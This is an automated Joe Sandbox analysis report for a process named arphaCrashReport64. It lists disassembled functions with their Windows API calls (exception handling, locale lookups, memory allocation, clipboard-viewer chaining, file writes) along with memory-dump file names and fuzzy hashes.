GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FFD9447423C,?,?,?,?,00007FFD94471D69,?,?,00000000,00007FFD94472C88), ref: 00007FFD944740A3
GetStdHandle.KERNEL32(?,?,?,?,?,00007FFD9447423C,?,?,?,?,00007FFD94471D69,?,?,00000000,00007FFD94472C88), ref: 00007FFD944741AF
WriteFile.KERNEL32 ref: 00007FFD944741E9

Strings

<program name unknown>, xrefs: 00007FFD944740AD
..., xrefs: 00007FFD94474106
Runtime Error!Program: , xrefs: 00007FFD94474062
Microsoft Visual C++ Runtime Library, xrefs: 00007FFD94474193

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: 62d5305022c4c614f020b1db7767cc2069569f00a6ab7fade778088532e575bc
Instruction ID: 9b141ef7c0b56a6f12347306c153a6ae8fb67439ca6ce89a4aa64ee053d0d71b
Opcode Fuzzy Hash: 62d5305022c4c614f020b1db7767cc2069569f00a6ab7fade778088532e575bc
Instruction Fuzzy Hash: 02518D35B1869241FB34ABF1A9F577A2251AF96385F80C636D90D47ADFCEBCE106C240

Function 00000210AE4D5518 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00000210AE4D5585
RtlLookupFunctionEntry.KERNEL32 ref: 00000210AE4D559D
RtlVirtualUnwind.KERNEL32 ref: 00000210AE4D55D7
IsDebuggerPresent.KERNEL32 ref: 00000210AE4D560D
SetUnhandledExceptionFilter.KERNEL32 ref: 00000210AE4D5617
UnhandledExceptionFilter.KERNEL32 ref: 00000210AE4D5622

Strings

ceil, xrefs: 00000210AE4D5524

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID: ceil
API String ID: 1239891234-3069211559
Opcode ID: 66ac2fbe91f68a041350f3fc75b90513e980b9dbad4e79f1f9fa877e40f81b0e
Instruction ID: 0026fc882e9ee83b8dea3d8c5d9fcdfca053612ab78e47c05b9124f7e7799282
Opcode Fuzzy Hash: 66ac2fbe91f68a041350f3fc75b90513e980b9dbad4e79f1f9fa877e40f81b0e
Instruction Fuzzy Hash: FC315032214B8086EB60DF25E8947DE73A8FBA8794F640115EBDD43B99DF78C595CB00

Function 00000210AE4D2C00 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32(00000210AE4CAC7C), ref: 00000210AE4D4567
RtlLookupFunctionEntry.KERNEL32 ref: 00000210AE4D4586
RtlVirtualUnwind.KERNEL32 ref: 00000210AE4D45D2
IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000210AE4D564B), ref: 00000210AE4D4644
SetUnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000210AE4D564B), ref: 00000210AE4D465C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000210AE4D564B), ref: 00000210AE4D4669
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000210AE4D564B), ref: 00000210AE4D4682
TerminateProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000210AE4D564B), ref: 00000210AE4D4690

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: e3b3019c4e1a7badf9853d60fceb95a9add7947f81aaf153f24320ccf22126c7
Instruction ID: 69f467d6f3463103d1969ce939cf2974b25eb998cc971679a5953ce7df4e5ae3
Opcode Fuzzy Hash: e3b3019c4e1a7badf9853d60fceb95a9add7947f81aaf153f24320ccf22126c7
Instruction Fuzzy Hash: 3A31B035104B4485EBA09B55F8D83DA77A8FFA8B54FA04116EBCD427A5EFBCC0D48B01

Function 00007FFD944715B0 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FFD94471B87
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFD94471BA6
RtlVirtualUnwind.KERNEL32 ref: 00007FFD94471BF2
IsDebuggerPresent.KERNEL32 ref: 00007FFD94471C64
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFD94471C7C
UnhandledExceptionFilter.KERNEL32 ref: 00007FFD94471C89
GetCurrentProcess.KERNEL32 ref: 00007FFD94471CA2
TerminateProcess.KERNEL32 ref: 00007FFD94471CB0

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: 6eb1e280ffd545d9ea5f3ba5caa03afdfb50de2afe5b7a31703c45140b1f897e
Instruction ID: b84ccce094d9cc384ed67d302b82cf446028314d354f3c98bfa08aa2bd944d09
Opcode Fuzzy Hash: 6eb1e280ffd545d9ea5f3ba5caa03afdfb50de2afe5b7a31703c45140b1f897e
Instruction Fuzzy Hash: CB31F735B08B8285E6609F90F8E0369B3A4FB86795F50C535DA8D5376ADFBCE44AC700

Function 00000210AE4D4565 Relevance: 12.1, APIs: 8, Instructions: 52COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32(00000210AE4CAC7C), ref: 00000210AE4D4567
RtlLookupFunctionEntry.KERNEL32 ref: 00000210AE4D4586
RtlVirtualUnwind.KERNEL32 ref: 00000210AE4D45D2
IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000210AE4D564B), ref: 00000210AE4D4644
SetUnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000210AE4D564B), ref: 00000210AE4D465C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000210AE4D564B), ref: 00000210AE4D4669
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000210AE4D564B), ref: 00000210AE4D4682
TerminateProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000210AE4D564B), ref: 00000210AE4D4690

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: a3f95b96577147f573111d4e9550727bed5d12e695e8ac549579d4f579014c10
Instruction ID: 85df5e0a1d0ebcf4d7992388b6570cbda5493b7ba14022327eac1cbd6c15e608
Opcode Fuzzy Hash: a3f95b96577147f573111d4e9550727bed5d12e695e8ac549579d4f579014c10
Instruction Fuzzy Hash: D331A035104B448AEB509B55F8D83DAB7A8FFA8B54F60011AEBCD427A6DFBDC094CB01

Function 00000210AE1E6E70 Relevance: 10.9, APIs: 7, Instructions: 423COMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 00000210AE1E6E9B
_get_daylight.LIBCMT ref: 00000210AE1E6EB1

Part of subcall function 00000210AE1E7C0C: _errno.LIBCMT ref: 00000210AE1E7C15
Part of subcall function 00000210AE1E7C0C: _invalid_parameter_noinfo.LIBCMT ref: 00000210AE1E7C20

_get_daylight.LIBCMT ref: 00000210AE1E6EC6

Part of subcall function 00000210AE1E7BAC: _errno.LIBCMT ref: 00000210AE1E7BB5
Part of subcall function 00000210AE1E7BAC: _invalid_parameter_noinfo.LIBCMT ref: 00000210AE1E7BC0

_get_daylight.LIBCMT ref: 00000210AE1E6EDB

Part of subcall function 00000210AE1E7BDC: _errno.LIBCMT ref: 00000210AE1E7BE5
Part of subcall function 00000210AE1E7BDC: _invalid_parameter_noinfo.LIBCMT ref: 00000210AE1E7BF0

___lc_codepage_func.LIBCMT ref: 00000210AE1E6EE8

Part of subcall function 00000210AE1EC3A8: _getptd.LIBCMT ref: 00000210AE1EC3AC

Part of subcall function 00000210AE1E84C8: __wtomb_environ.LIBCMT ref: 00000210AE1E84F8

free.LIBCMT ref: 00000210AE1E6F59

Part of subcall function 00000210AE1E36E0: _errno.LIBCMT ref: 00000210AE1E3700

free.LIBCMT ref: 00000210AE1E6FC2

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_get_daylight_invalid_parameter_noinfo$free$___lc_codepage_func__wtomb_environ_getptd_lock
String ID:
API String ID: 4268574505-0
Opcode ID: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction ID: ad6fa983a8d6c817c65b60bf941e0993019a9b57af1b6e2ba3e9b4b96d104d16
Opcode Fuzzy Hash: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction Fuzzy Hash: B0D1EC306187554FF369DF28988A7F977D5FF55300F64452DBACAC3192DBB0A8828742

Function 00000210AE4D9FFC Relevance: 10.6, APIs: 7, Instructions: 143COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000210AE4DA060

Part of subcall function 00000210AE4D537C: Sleep.KERNEL32(?,?,ceil,00000210AE4D4907,?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA), ref: 00000210AE4D53C1

free.LIBCMT ref: 00000210AE4DA0DE
free.LIBCMT ref: 00000210AE4DA125
GetLocaleInfoW.KERNEL32 ref: 00000210AE4DA15C
GetLocaleInfoW.KERNEL32 ref: 00000210AE4DA186
free.LIBCMT ref: 00000210AE4DA193
GetLocaleInfoW.KERNEL32 ref: 00000210AE4DA1BE

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: InfoLocalefree$ErrorLastSleep
String ID:
API String ID: 3746651342-0
Opcode ID: bbf915b0126b6d411513f53f6a3ce8459f423b85cd882378f28b7d3cfe934764
Instruction ID: 56fc35b2352406a614f478a4b2bc7acc5047d5ca97f61079d1e155c3050603c3
Opcode Fuzzy Hash: bbf915b0126b6d411513f53f6a3ce8459f423b85cd882378f28b7d3cfe934764
Instruction Fuzzy Hash: 7A51F43271074542FB619B25ADD97EE26DCBFA8B88F204025DF8547B85EFBCC8819700

Function 00007FFD9447233C Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FFD9447237B
IsDebuggerPresent.KERNEL32 ref: 00007FFD94472419
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFD94472423
UnhandledExceptionFilter.KERNEL32 ref: 00007FFD9447242E
GetCurrentProcess.KERNEL32 ref: 00007FFD94472444
TerminateProcess.KERNEL32 ref: 00007FFD94472452

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerPresentTerminate
String ID:
API String ID: 1269745586-0
Opcode ID: 6035160a0f781e1d9fd4713ad2ab57f1a6b0803e30aafb7e3256b55d575f6e9d
Instruction ID: da4bfe287941f6b1b0ac2d9a88e5c9f349e53501037aa256e6e662e93516e312
Opcode Fuzzy Hash: 6035160a0f781e1d9fd4713ad2ab57f1a6b0803e30aafb7e3256b55d575f6e9d
Instruction Fuzzy Hash: 67310D32609BC282DB248F95E4943AAA3A0FB8A745F508535D68D43B5ADFBCD549CB00

Function 00000210AE4C4380 Relevance: 9.1, APIs: 6, Instructions: 53windowclipboardCOMMON

Download Yara Rule

APIs

SendMessageA.USER32 ref: 00000210AE4C43CD
SendMessageA.USER32 ref: 00000210AE4C43E1
DestroyWindow.USER32 ref: 00000210AE4C43EF
PostQuitMessage.USER32 ref: 00000210AE4C43F7
ChangeClipboardChain.USER32 ref: 00000210AE4C440C
SetClipboardViewer.USER32 ref: 00000210AE4C441A

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Message$ClipboardSend$ChainChangeDestroyPostQuitViewerWindow
String ID:
API String ID: 267668081-0
Opcode ID: 082f6aee9610bfdf75166013c68e509d110115bbd60ee7658a241065df36a9e0
Instruction ID: 82c967ccb9bf84e8fa80c16c3d3f85f827dbd89507b5071832adecde28e00d3d
Opcode Fuzzy Hash: 082f6aee9610bfdf75166013c68e509d110115bbd60ee7658a241065df36a9e0
Instruction Fuzzy Hash: 53014071711B0282FB694BB6ADCD3E911D8FFAC765F781420C795866A0EEEC89D28610

Function 00000210AE4DCDF8 Relevance: 7.7, APIs: 5, Instructions: 165COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000210AE4DCE1F

Part of subcall function 00000210AE4D4958: _amsg_exit.LIBCMT ref: 00000210AE4D496E

GetLocaleInfoA.KERNEL32 ref: 00000210AE4DCE54
GetLocaleInfoA.KERNEL32 ref: 00000210AE4DCEAC
GetLocaleInfoA.KERNEL32 ref: 00000210AE4DCFA0

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: InfoLocale$_amsg_exit_getptd
String ID:
API String ID: 3133215516-0
Opcode ID: ee009b1be5d3d2cde25756b1d45347cc96b5970ab7b8554e0b603cf54b10ec7e
Instruction ID: 8399421c1a2175271d38540a141e29c750a880e26e8e6839c2583dd82906bab0
Opcode Fuzzy Hash: ee009b1be5d3d2cde25756b1d45347cc96b5970ab7b8554e0b603cf54b10ec7e
Instruction Fuzzy Hash: 4571C032304B8597EB698F31CEC87D9B398FBA8745F644529D79587284DF78D4A4C700

Function 00000210AE4DE600 Relevance: 7.6, APIs: 5, Instructions: 102COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000210AE4D9D42), ref: 00000210AE4DE64B
GetLocaleInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000210AE4D9D42), ref: 00000210AE4DE6DC
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000210AE4D9D42), ref: 00000210AE4DE717
free.LIBCMT ref: 00000210AE4DE72B

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: InfoLocale$ByteCharMultiWidefree
String ID:
API String ID: 40707599-0
Opcode ID: 782c2ae40ed6df9be33f17baac5655201d48837b5c5e04d882e25822c50fe823
Instruction ID: 36d89e8a3096bd3dd5ce40ad66206b4b39e9c08e31c20e9d475258b40b24a78b
Opcode Fuzzy Hash: 782c2ae40ed6df9be33f17baac5655201d48837b5c5e04d882e25822c50fe823
Instruction Fuzzy Hash: 1E415432701B8086EB509F259CC86D977D9FFA4BA8FA84611EB9957BD4DFB8C5818300

Function 00000210AE4CFCF0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 292fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00000210AE4D004E
WriteFile.KERNEL32 ref: 00000210AE4D0102
CloseHandle.KERNEL32 ref: 00000210AE4D011A

Strings

GET, xrefs: 00000210AE4CFE9E

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: GET
API String ID: 1065093856-1805413626
Opcode ID: 124d72cd5e7ec1440d321d034adbaa2753bffeffca805573d9e122f8d0dd9c20
Instruction ID: 0ed59adb36c898b6bd816fed74c5c2cc4b2729d502007a4d10180f36d3359da6
Opcode Fuzzy Hash: 124d72cd5e7ec1440d321d034adbaa2753bffeffca805573d9e122f8d0dd9c20
Instruction Fuzzy Hash: 22D18A32214B4082FB24AB25E8D879E37A8FBA6B98F604515DFD607B95CFB8C4D4C344

Function 00000210AE4D6CAC Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000210AE4D6CE5

Part of subcall function 00000210AE4D4958: _amsg_exit.LIBCMT ref: 00000210AE4D496E

Part of subcall function 00000210AE4D6A70: _getptd.LIBCMT ref: 00000210AE4D6AAA

Part of subcall function 00000210AE4D52FC: malloc.LIBCMT ref: 00000210AE4D5327
Part of subcall function 00000210AE4D52FC: Sleep.KERNEL32(?,?,ceil,00000210AE4D9B11,?,?,?,00000210AE4D9BBB,?,?,00000000,00000210AE4D4875,?,?,00000000,00000210AE4D492C), ref: 00000210AE4D533A

free.LIBCMT ref: 00000210AE4D6F42
free.LIBCMT ref: 00000210AE4D6F79
free.LIBCMT ref: 00000210AE4D6F86

Part of subcall function 00000210AE4D5664: GetCurrentProcess.KERNEL32(?,?,?,?,00000210AE4D5706), ref: 00000210AE4D567C

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: free$_getptd$CurrentProcessSleep_amsg_exitmalloc
String ID:
API String ID: 2889500207-0
Opcode ID: cf6d3bac5b4105b9189a72264d0d1fb0f41da62099fa96747caf025d74721c30
Instruction ID: 051020ce42648d340e8624e7ea4812e1c75df5feecf7da14e5a70ed2d32d419b
Opcode Fuzzy Hash: cf6d3bac5b4105b9189a72264d0d1fb0f41da62099fa96747caf025d74721c30
Instruction Fuzzy Hash: C0A1B07220178496EB24DF25E9C87DA77A8FB68788F604126EF8D47B54DFB8D485CB00

Function 00000210AE4D24A0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 229memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00000210AE4D274E

Strings

base, xrefs: 00000210AE4D267B

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: AllocLocal
String ID: base
API String ID: 3494564517-3233087073
Opcode ID: c0878f8b671855057f65a3e5919f93ea18debb5403dee10f9da02fb6507d340e
Instruction ID: 418953b58c3acc7644e5b08ebc42733592c979a0b6311bbf49f208d358ae6a6c
Opcode Fuzzy Hash: c0878f8b671855057f65a3e5919f93ea18debb5403dee10f9da02fb6507d340e
Instruction Fuzzy Hash: 4491487270074086EBA4CB2AD4D43AD77A1FBA8F94F248211DF8907BD5DE78C8D28704

Function 00000210AE4C2380 Relevance: 5.2, APIs: 4, Instructions: 244memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00000000,00000000,?,00000210AE4C22C7), ref: 00000210AE4C24B6
VirtualFree.KERNEL32(?,?,00000000,00000000,?,00000210AE4C22C7), ref: 00000210AE4C24F0
VirtualAlloc.KERNEL32(?,?,00000000,00000000,?,00000210AE4C22C7), ref: 00000210AE4C2643
VirtualFree.KERNEL32(?,?,00000000,00000000,?,00000210AE4C22C7), ref: 00000210AE4C2678

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: a19bc9080f5a4c36b6c4d71dfdc3790bb118157c9ac63d932897b30f627c45a0
Instruction ID: 6806cdff8b1eeed13438ba2e4ebb2247c4878eac2321f0399204a49176908d68
Opcode Fuzzy Hash: a19bc9080f5a4c36b6c4d71dfdc3790bb118157c9ac63d932897b30f627c45a0
Instruction Fuzzy Hash: CCA1E232301B4097EB588F2DC1987AE63A9FB94B84F308528DF9A57754EFB4D8D18744

Function 00000210AE4DB744 Relevance: 107.7, APIs: 86, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 00000210AE4DB759

Part of subcall function 00000210AE4D3D28: HeapFree.KERNEL32(?,?,00000000,00000210AE4D4940,?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA), ref: 00000210AE4D3D3E
Part of subcall function 00000210AE4D3D28: _errno.LIBCMT ref: 00000210AE4D3D48
Part of subcall function 00000210AE4D3D28: GetLastError.KERNEL32(?,?,00000000,00000210AE4D4940,?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA), ref: 00000210AE4D3D50

free.LIBCMT ref: 00000210AE4DB762
free.LIBCMT ref: 00000210AE4DB76B
free.LIBCMT ref: 00000210AE4DB774
free.LIBCMT ref: 00000210AE4DB77D
free.LIBCMT ref: 00000210AE4DB786
free.LIBCMT ref: 00000210AE4DB78E
free.LIBCMT ref: 00000210AE4DB797
free.LIBCMT ref: 00000210AE4DB7A0
free.LIBCMT ref: 00000210AE4DB7A9
free.LIBCMT ref: 00000210AE4DB7B2
free.LIBCMT ref: 00000210AE4DB7BB
free.LIBCMT ref: 00000210AE4DB7C4
free.LIBCMT ref: 00000210AE4DB7CD
free.LIBCMT ref: 00000210AE4DB7D6
free.LIBCMT ref: 00000210AE4DB7DF
free.LIBCMT ref: 00000210AE4DB7EB
free.LIBCMT ref: 00000210AE4DB7F7
free.LIBCMT ref: 00000210AE4DB803
free.LIBCMT ref: 00000210AE4DB80F
free.LIBCMT ref: 00000210AE4DB81B
free.LIBCMT ref: 00000210AE4DB827
free.LIBCMT ref: 00000210AE4DB833
free.LIBCMT ref: 00000210AE4DB83F
free.LIBCMT ref: 00000210AE4DB84B
free.LIBCMT ref: 00000210AE4DB857
free.LIBCMT ref: 00000210AE4DB863
free.LIBCMT ref: 00000210AE4DB86F
free.LIBCMT ref: 00000210AE4DB87B
free.LIBCMT ref: 00000210AE4DB887
free.LIBCMT ref: 00000210AE4DB893
free.LIBCMT ref: 00000210AE4DB89F
free.LIBCMT ref: 00000210AE4DB8AB
free.LIBCMT ref: 00000210AE4DB8B7
free.LIBCMT ref: 00000210AE4DB8C3
free.LIBCMT ref: 00000210AE4DB8CF
free.LIBCMT ref: 00000210AE4DB8DB
free.LIBCMT ref: 00000210AE4DB8E7
free.LIBCMT ref: 00000210AE4DB8F3
free.LIBCMT ref: 00000210AE4DB8FF
free.LIBCMT ref: 00000210AE4DB90B
free.LIBCMT ref: 00000210AE4DB917
free.LIBCMT ref: 00000210AE4DB923
free.LIBCMT ref: 00000210AE4DB92F
free.LIBCMT ref: 00000210AE4DB93B
free.LIBCMT ref: 00000210AE4DB947
free.LIBCMT ref: 00000210AE4DB953
free.LIBCMT ref: 00000210AE4DB95F
free.LIBCMT ref: 00000210AE4DB96B
free.LIBCMT ref: 00000210AE4DB977
free.LIBCMT ref: 00000210AE4DB983
free.LIBCMT ref: 00000210AE4DB98F
free.LIBCMT ref: 00000210AE4DB99B
free.LIBCMT ref: 00000210AE4DB9A7
free.LIBCMT ref: 00000210AE4DB9B3
free.LIBCMT ref: 00000210AE4DB9BF
free.LIBCMT ref: 00000210AE4DB9CB
free.LIBCMT ref: 00000210AE4DB9D7
free.LIBCMT ref: 00000210AE4DB9E3
free.LIBCMT ref: 00000210AE4DB9EF
free.LIBCMT ref: 00000210AE4DB9FB
free.LIBCMT ref: 00000210AE4DBA07
free.LIBCMT ref: 00000210AE4DBA13
free.LIBCMT ref: 00000210AE4DBA1F
free.LIBCMT ref: 00000210AE4DBA2B
free.LIBCMT ref: 00000210AE4DBA37
free.LIBCMT ref: 00000210AE4DBA43
free.LIBCMT ref: 00000210AE4DBA4F
